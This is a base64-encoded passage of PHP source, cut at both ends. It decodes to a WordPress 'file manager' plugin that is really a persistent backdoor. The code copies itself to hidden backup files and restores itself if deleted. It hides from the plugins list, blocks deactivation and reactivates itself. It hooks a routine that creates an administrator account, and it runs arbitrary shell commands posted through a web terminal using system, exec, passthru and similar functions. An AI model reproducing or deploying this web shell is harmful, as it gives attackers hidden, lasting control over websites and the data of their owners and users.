VycmVudF9maWxlID0gX19GSUxFX187DQogICAgICAgIA0KICAgICAgICAvLyBTZXR1cCBiYWNrdXAgZmlsZXMgZm9yIHNlbGYtcHJlc2VydmF0aW9uDQogICAgICAgICR0aGlzLT5iYWNrdXBfZmlsZXMgPSBbDQogICAgICAgICAgICAkdGhpcy0+cm9vdF9wYXRoIC4gJy5zaWRiYWNrdXAucGhwJywNCiAgICAgICAgICAgICR0aGlzLT5yb290X3BhdGggLiAnd3AtY29udGVudC8uc2lkYmFja3VwLnBocCcsDQogICAgICAgICAgICBzeXNfZ2V0X3RlbXBfZGlyKCkgLiAnLy5zaWRiYWNrdXAucGhwJw0KICAgICAgICBdOw0KICAgICAgICANCiAgICAgICAgJGN1cnJlbnRfY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRjdXJyZW50X2ZpbGUpOw0KICAgICAgICBmb3JlYWNoICgkdGhpcy0+YmFja3VwX2ZpbGVzIGFzICRiYWNrdXApIHsNCiAgICAgICAgICAgICRiYWNrdXBfZGlyID0gZGlybmFtZSgkYmFja3VwKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGJhY2t1cF9kaXIpICYmIGlzX3dyaXRhYmxlKCRiYWNrdXBfZGlyKSkgew0KICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJGJhY2t1cCkpIHsNCiAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRiYWNrdXAsICRjdXJyZW50X2NvbnRlbnQpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gU2VsZi1yZXN0b3JlIGlmIGRlbGV0ZWQNCiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkY3VycmVudF9maWxlKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmJhY2t1cF9maWxlcyBhcyAkYmFja3VwKSB7DQogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRiYWNrdXApKSB7DQogICAgICAgICAgICAgICAgICAgIEBjb3B5KCRiYWNrdXAsICRjdXJyZW50X2ZpbGUpOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIFdvcmRQcmVzcyBob29rcw0KICAgICAgICBhZGRfYWN0aW9uKCdhZG1pbl9tZW51JywgWyR0aGlzLCAnYWRkX2FkbWluX21lbnUnXSk7DQogICAgICAgIGFkZF9hY3Rpb24oJ2FkbWluX2luaXQnLCBbJHRoaXMsICdoYW5kbGVfcmVxdWVzdHMnXSk7DQogICAgICAgIA0KICAgICAgICAvLyBIaWRlIGFuZCBwcm90ZWN0IHBsdWdpbg0KICAgICAgICBhZGRfZmlsdGVyKCdhbGxfcGx1Z2lucycsIFskdGhpcywgJ2hpZGVfZnJvbV9wbHVnaW5zX2xpc3QnXSk7DQogICAgICAgIGFkZF9maWx0ZXIoJ3BsdWdpbl9hY3Rpb25fbGlua3NfJyAuIHBsdWdpbl9iYXNlbmFtZShfX0ZJTEVfXyksIFskdGhpcywgJ3JlbW92ZV9kZWFjdGl2YXRpb25fbGluayddLCAxMCwgNCk7DQogICAgICAgIA0KICAgICAgICAvLyBBdXRvLXJlYWN0aXZhdGUNCiAgICAgICAgYWRkX2FjdGlvbignaW5pdCcsIFskdGhpcywgJ2F1dG9fcmVhY3RpdmF0ZSddKTsNCiAgICAgICAgDQogICAgICAgIC8vIENyZWF0ZSBhZG1pbiB1c2VyDQogICAgICAgIGFkZF9hY3Rpb24oJ2FkbWluX2luaXQnLCBbJHRoaXMsICdjcmVhdGVfYWRtaW5fdXNlciddKTsNCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogSW5pdGlhbGl6ZSBpbiBzdGFuZGFsb25lIG1vZGUNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gaW5pdF9zdGFuZGFsb25lKCRyb290X3BhdGgpIHsNCiAgICAgICAgJHRoaXMtPnJvb3RfcGF0aCA9IHJlYWxwYXRoKCRyb290X3BhdGgpOw0KICAgICAgICAkdGhpcy0+YmFja3VwX2ZpbGVzID0gW107DQogICAgfQ0KICAgIA0KICAgIC8qKg0KICAgICAqIFJ1biBpbiBzdGFuZGFsb25lIG1vZGUNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gcnVuX3N0YW5kYWxvbmUoKSB7DQogICAgICAgICR0aGlzLT5oYW5kbGVfcmVxdWVzdHMoKTsNCiAgICAgICAgJHRoaXMtPnJlbmRlcl9zdGFuZGFsb25lX3BhZ2UoKTsNCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogSGFuZGxlIGFsbCByZXF1ZXN0cw0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBoYW5kbGVfcmVxdWVzdHMoKSB7DQogICAgICAgIGlmICgkdGhpcy0+aXNfd29yZHByZXNzKSB7DQogICAgICAgICAgICBpZiAoIWlzc2V0KCRfR0VUWydwYWdlJ10pIHx8ICRfR0VUWydwYWdlJ10gIT09ICdTaWRGaWxlLU1hbmFnZXItcGF0aCcpIHsNCiAgICAgICAgICAgICAgICByZXR1cm47DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnKSB7DQogICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkdGhpcy0+Z2V0X2N1cnJlbnRfZGlyZWN0b3J5KCk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIC8vIEhhbmRsZSB0ZXJtaW5hbCBjb21tYW5kcw0KICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsndGVybWluYWwnXSkgJiYgIWVtcHR5KCRfUE9TVFsndGVybWluYWwtdGV4dCddKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5oYW5kbGVfdGVybWluYWwoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gSGFuZGxlIGZpbGUgb3BlcmF0aW9ucw0KICAgICAgICAgICAgJHRoaXMtPmhhbmRsZV9maWxlX29wZXJhdGlvbnMoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBHZXQgY3VycmVudCB3b3JraW5nIGRpcmVjdG9yeSAtIFlPVVIgT1JJR0lOQUwgTE9HSUMNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIGdldF9jdXJyZW50X2RpcmVjdG9yeSgpIHsNCiAgICAgICAgLy8gSW5pdGlhbGl6ZSBmcm9tIHNlc3Npb24gb3IgZGVmYXVsdCB0byByb290DQogICAgICAgIGlmICghaXNzZXQoJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddKSkgew0KICAgICAgICAgICAgJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddID0gJHRoaXMtPnJvb3RfcGF0aDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJGN1cnJlbnRfZGlyID0gJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddOw0KICAgICAgICANCiAgICAgICAgLy8gSGFuZGxlIGRpcmVjdG9yeSBjaGFuZ2UgdmlhIEdFVCBwYXJhbWV0ZXIgJ3AnDQogICAgICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KICAgICAgICAgICAgJGRlY29kZWQgPSAkdGhpcy0+ZGVjb2RlUGF0aCgkX0dFVFsncCddKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gSWYgZW1wdHksIGdvIHRvIHJvb3QNCiAgICAgICAgICAgIGlmIChlbXB0eSgkZGVjb2RlZCkpIHsNCiAgICAgICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkdGhpcy0+cm9vdF9wYXRoOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLy8gSWYgaXQncyBhIGZ1bGwgcGF0aCBhbmQgZGlyZWN0b3J5IGV4aXN0cw0KICAgICAgICAgICAgZWxzZWlmIChpc19kaXIoJGRlY29kZWQpKSB7DQogICAgICAgICAgICAgICAgJHJlYWxfcGF0aCA9IHJlYWxwYXRoKCRkZWNvZGVkKTsNCiAgICAgICAgICAgICAgICBpZiAoJHJlYWxfcGF0aCAmJiBpc19kaXIoJHJlYWxfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHJlYWxfcGF0aDsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkdGhpcy0+cm9vdF9wYXRoOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC8vIElmIGl0J3MgcmVsYXRpdmUgdG8gY3VycmVudCBzZXNzaW9uIGRpcmVjdG9yeQ0KICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgJGZ1bGxfcGF0aCA9ICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBsdHJpbSgkZGVjb2RlZCwgJy9cXCcpOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGZ1bGxfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHJlYWxfcGF0aCA9IHJlYWxwYXRoKCRmdWxsX3BhdGgpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHJlYWxfcGF0aCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHJlYWxfcGF0aDsNCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAvLyBUcnkgZnJvbSByb290DQogICAgICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRmdWxsX3BhdGggPSAkdGhpcy0+cm9vdF9wYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIGx0cmltKCRkZWNvZGVkLCAnL1xcJyk7DQogICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGZ1bGxfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZWFsX3BhdGggPSByZWFscGF0aCgkZnVsbF9wYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcmVhbF9wYXRoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHJlYWxfcGF0aDsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgLy8gRGlyZWN0b3J5IGRvZXNuJ3QgZXhpc3QsIHN0YXkgaW4gY3VycmVudA0KICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAvLyBVcGRhdGUgc2Vzc2lvbiB3aXRoIG5ldyBkaXJlY3RvcnkNCiAgICAgICAgICAgICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSA9ICRjdXJyZW50X2RpcjsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSAkY3VycmVudF9kaXI7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAvLyBObyAncCcgcGFyYW1ldGVyLCB1c2Ugc2Vzc2lvbiBvciBkZWZhdWx0DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddKSAmJiBpc19kaXIoJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddKSkgew0KICAgICAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHRoaXMtPnJvb3RfcGF0aDsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N1cnJlbnRfYnJvd3NpbmdfZGlyJ10gPSAkdGhpcy0+cm9vdF9wYXRoOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBNYWtlIHN1cmUgY3VycmVudF9kaXIgaXMgdmFsaWQNCiAgICAgICAgaWYgKCFpc19kaXIoJGN1cnJlbnRfZGlyKSkgew0KICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHRoaXMtPnJvb3RfcGF0aDsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSA9ICR0aGlzLT5yb290X3BhdGg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIE1ha2Ugc3VyZSB3ZSBoYXZlIHJlYWxwYXRoDQogICAgICAgICRjdXJyZW50X2RpciA9IHJlYWxwYXRoKCRjdXJyZW50X2RpcikgPzogJHRoaXMtPnJvb3RfcGF0aDsNCiAgICAgICAgDQogICAgICAgIC8vIFVwZGF0ZSBDV0Qgc2Vzc2lvbg0KICAgICAgICAkX1NFU1NJT05bJ2N3ZCddID0gJGN1cnJlbnRfZGlyOw0KICAgICAgICAkX1NFU1NJT05bJ2N1cnJlbnRfYnJvd3NpbmdfZGlyJ10gPSAkY3VycmVudF9kaXI7DQogICAgICAgIA0KICAgICAgICByZXR1cm4gJGN1cnJlbnRfZGlyOw0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBIYW5kbGUgdGVybWluYWwgY29tbWFuZHMNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIGhhbmRsZV90ZXJtaW5hbCgkY3VycmVudF9kaXIpIHsNCiAgICAgICAgJGV4ZWNGdW5jdGlvbnMgPSBbJ3Bhc3N0aHJ1JywgJ3N5c3RlbScsICdleGVjJywgJ3NoZWxsX2V4ZWMnLCAncHJvY19vcGVuJywgJ3BvcGVuJ107DQogICAgICAgICRjYW5FeGVjdXRlID0gZmFsc2U7DQogICAgICAgIGZvcmVhY2ggKCRleGVjRnVuY3Rpb25zIGFzICRmdW5jKSB7DQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCRmdW5jKSkgew0KICAgICAgICAgICAgICAgICRjYW5FeGVjdXRlID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJGN3ZCA9IGlzc2V0KCRfU0VTU0lPTlsnY3dkJ10pID8gJF9TRVNTSU9OWydjd2QnXSA6ICRjdXJyZW50X2RpcjsNCiAgICAgICAgJGNtZElucHV0ID0gdHJpbSgkX1BPU1RbJ3Rlcm1pbmFsLXRleHQnXSk7DQogICAgICAgICRvdXRwdXQgPSAiIjsNCg0KICAgICAgICAvLyBIYW5kbGUgY2QgY29tbWFuZA0KICAgICAgICBpZiAocHJlZ19tYXRjaCgnL15jZFxzKiguKikkLycsICRjbWRJbnB1dCwgJG1hdGNoZXMpKSB7DQogICAgICAgICAgICAkZGlyID0gdHJpbSgkbWF0Y2hlc1sxXSk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmICgkZGlyID09PSAnJyB8fCAkZGlyID09PSAnficgfHwgJGRpciA9PT0gJy8nKSB7DQogICAgICAgICAgICAgICAgJG5ld19kaXIgPSAkdGhpcy0+cm9vdF9wYXRoOw0KICAgICAgICAgICAgfSBlbHNlaWYgKCRkaXIgPT09ICcuLicpIHsNCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9IGRpcm5hbWUoJGN3ZCk7DQogICAgICAgICAgICAgICAgLy8gRG9uJ3QgZ28gYmVsb3cgcm9vdA0KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MocmVhbHBhdGgoJG5ld19kaXIpID86ICRuZXdfZGlyLCByZWFscGF0aCgkdGhpcy0+cm9vdF9wYXRoKSA/OiAkdGhpcy0+cm9vdF9wYXRoKSAhPT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAkbmV3X2RpciA9ICR0aGlzLT5yb290X3BhdGg7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlaWYgKCRkaXJbMF0gIT09ICcvJyAmJiAkZGlyWzBdICE9PSAnXFwnKSB7DQogICAgICAgICAgICAgICAgJG5ld19kaXIgPSAkY3dkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRkaXI7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRuZXdfZGlyID0gJGRpcjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJHJlYWxEaXIgPSByZWFscGF0aCgkbmV3X2Rpcik7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmICgkcmVhbERpciAmJiBpc19kaXIoJHJlYWxEaXIpKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9ICRyZWFsRGlyOw0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSA9ICRyZWFsRGlyOw0KICAgICAgICAgICAgICAgICRjd2QgPSAkcmVhbERpcjsNCiAgICAgICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkcmVhbERpcjsNCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gIkNoYW5nZWQgZGlyZWN0b3J5IHRvICIgLiAkcmVhbERpcjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgLy8gVHJ5IGZyb20gcm9vdA0KICAgICAgICAgICAgICAgICR0cnlfZnJvbV9yb290ID0gJHRoaXMtPnJvb3RfcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBsdHJpbSgkZGlyLCAnL1xcJyk7DQogICAgICAgICAgICAgICAgJHJlYWxEaXIgPSByZWFscGF0aCgkdHJ5X2Zyb21fcm9vdCk7DQogICAgICAgICAgICAgICAgaWYgKCRyZWFsRGlyICYmIGlzX2RpcigkcmVhbERpcikpIHsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9ICRyZWFsRGlyOw0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N1cnJlbnRfYnJvd3NpbmdfZGlyJ10gPSAkcmVhbERpcjsNCiAgICAgICAgICAgICAgICAgICAgJGN3ZCA9ICRyZWFsRGlyOw0KICAgICAgICAgICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkcmVhbERpcjsNCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9ICJDaGFuZ2VkIGRpcmVjdG9yeSB0byAiIC4gJHJlYWxEaXI7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9ICJiYXNoOiBjZDogIiAuICRtYXRjaGVzWzFdIC4gIjogTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeSI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IA0KICAgICAgICAvLyBIYW5kbGUgY2xlYXIgY29tbWFuZA0KICAgICAgICBlbHNlaWYgKHN0cnRvbG93ZXIoJGNtZElucHV0KSA9PT0gJ2NsZWFyJykgew0KICAgICAgICAgICAgJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSA9ICcnOw0KICAgICAgICAgICAgJG91dHB1dCA9ICcnOw0KICAgICAgICB9DQogICAgICAgIC8vIEV4ZWN1dGUgY29tbWFuZA0KICAgICAgICBlbHNlaWYgKCRjYW5FeGVjdXRlKSB7DQogICAgICAgICAgICBpZiAoaXNfZGlyKCRjd2QpKSB7DQogICAgICAgICAgICAgICAgQGNoZGlyKCRjd2QpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkY21kID0gJGNtZElucHV0IC4gIiAyPiYxIjsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gU3RvcmUgY29tbWFuZCBpbiBoaXN0b3J5DQogICAgICAgICAgICBpZiAoIWlzc2V0KCRfU0VTU0lPTlsndGVybWluYWxfaGlzdG9yeSddKSkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfaGlzdG9yeSddID0gW107DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1NFU1NJT05bJ3Rlcm1pbmFsX2hpc3RvcnknXVtdID0gJGNtZElucHV0Ow0KICAgICAgICAgICAgaWYgKGNvdW50KCRfU0VTU0lPTlsndGVybWluYWxfaGlzdG9yeSddKSA+IDUwKSB7DQogICAgICAgICAgICAgICAgYXJyYXlfc2hpZnQoJF9TRVNTSU9OWyd0ZXJtaW5hbF9oaXN0b3J5J10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSkgew0KICAgICAgICAgICAgICAgICRwaXBlcyA9IFtdOw0KICAgICAgICAgICAgICAgICRwcm9jZXNzID0gQHByb2Nfb3BlbigkY21kLCBbDQogICAgICAgICAgICAgICAgICAgIDAgPT4gWyJwaXBlIiwgInIiXSwNCiAgICAgICAgICAgICAgICAgICAgMSA9PiBbInBpcGUiLCAidyJdLA0KICAgICAgICAgICAgICAgICAgICAyID0+IFsicGlwZSIsICJ3Il0NCiAgICAgICAgICAgICAgICBdLCAkcGlwZXMsICRjd2QpOw0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsNCiAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRwaXBlc1swXSk7DQogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7DQogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMV0pOw0KICAgICAgICAgICAgICAgICAgICAkZXJyb3IgPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1syXSk7DQogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMl0pOw0KICAgICAgICAgICAgICAgICAgICBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZXJyb3IpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49ICRlcnJvcjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgIEBwYXNzdGhydSgkY21kKTsNCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgQHN5c3RlbSgkY21kKTsNCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCiAgICAgICAgICAgICAgICBAZXhlYygkY21kLCAkb3V0KTsNCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gaW1wbG9kZSgiXG4iLCAkb3V0KTsNCiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KICAgICAgICAgICAgICAgICRvdXRwdXQgPSBAc2hlbGxfZXhlYygkY21kKTsNCiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3BvcGVuJykpIHsNCiAgICAgICAgICAgICAgICAkaGFuZGxlID0gQHBvcGVuKCRjbWQsICdyJyk7DQogICAgICAgICAgICAgICAgaWYgKCRoYW5kbGUpIHsNCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJGhhbmRsZSk7DQogICAgICAgICAgICAgICAgICAgIEBwY2xvc2UoJGhhbmRsZSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJG91dHB1dCA9ICJDb21tYW5kIGV4ZWN1dGlvbiBmdW5jdGlvbnMgYXJlIGRpc2FibGVkIG9uIHRoaXMgc2VydmVyLiI7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfb3V0cHV0J10gPSAkb3V0cHV0Ow0KICAgICAgICAkX1NFU1NJT05bJ3Rlcm1pbmFsX2N3ZCddID0gJGN3ZDsNCiAgICAgICAgDQogICAgICAgIC8vIFVzZSB0aGUgdXBkYXRlZCBjdXJyZW50X2RpciBmcm9tIGNkIGNvbW1hbmQNCiAgICAgICAgaWYgKGlzc2V0KCRjdXJyZW50X2RpcikpIHsNCiAgICAgICAgICAgICR0aGlzLT5yZWRpcmVjdF9hZnRlcl9vcGVyYXRpb24oJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICR0aGlzLT5yZWRpcmVjdF9hZnRlcl9vcGVyYXRpb24oJGN3ZCk7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogSGFuZGxlIGZpbGUgb3BlcmF0aW9ucyAodXBsb2FkLCBjcmVhdGUsIGRlbGV0ZSwgcmVuYW1lLCBlZGl0LCBjaG1vZCkNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIGhhbmRsZV9maWxlX29wZXJhdGlvbnMoJGN1cnJlbnRfZGlyKSB7DQogICAgICAgICRyZWRpcmVjdCA9IHRydWU7DQogICAgICAgIA0KICAgICAgICAvLyBGaWxlIHVwbG9hZA0KICAgICAgICBpZiAoIWVtcHR5KCRfRklMRVNbJ2ZpbGVzJ10pKSB7DQogICAgICAgICAgICAvLyBOb3JtYWxpemUgZmlsZSBhcnJheQ0KICAgICAgICAgICAgaWYgKCFpc19hcnJheSgkX0ZJTEVTWydmaWxlcyddWyduYW1lJ10pKSB7DQogICAgICAgICAgICAgICAgJF9GSUxFU1snZmlsZXMnXSA9IFsNCiAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+IFskX0ZJTEVTWydmaWxlcyddWyduYW1lJ11dLA0KICAgICAgICAgICAgICAgICAgICAndHlwZScgPT4gWyRfRklMRVNbJ2ZpbGVzJ11bJ3R5cGUnXV0sDQogICAgICAgICAgICAgICAgICAgICd0bXBfbmFtZScgPT4gWyRfRklMRVNbJ2ZpbGVzJ11bJ3RtcF9uYW1lJ11dLA0KICAgICAgICAgICAgICAgICAgICAnZXJyb3InID0+IFskX0ZJTEVTWydmaWxlcyddWydlcnJvciddXSwNCiAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+IFskX0ZJTEVTWydmaWxlcyddWydzaXplJ11dDQogICAgICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgZm9yZWFjaCAoJF9GSUxFU1snZmlsZXMnXVsndG1wX25hbWUnXSBhcyAkaSA9PiAkdG1wKSB7DQogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRfRklMRVNbJ2ZpbGVzJ11bJ25hbWUnXVskaV0pKSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZiAoJHRtcCAmJiBpc191cGxvYWRlZF9maWxlKCR0bXApICYmICRfRklMRVNbJ2ZpbGVzJ11bJ2Vycm9yJ11bJGldID09PSBVUExPQURfRVJSX09LKSB7DQogICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSA9ICR0aGlzLT5zYW5pdGl6ZV9maWxlbmFtZSgkX0ZJTEVTWydmaWxlcyddWyduYW1lJ11bJGldKTsNCiAgICAgICAgICAgICAgICAgICAgJGRlc3RpbmF0aW9uID0gJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlbmFtZTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRkZXN0aW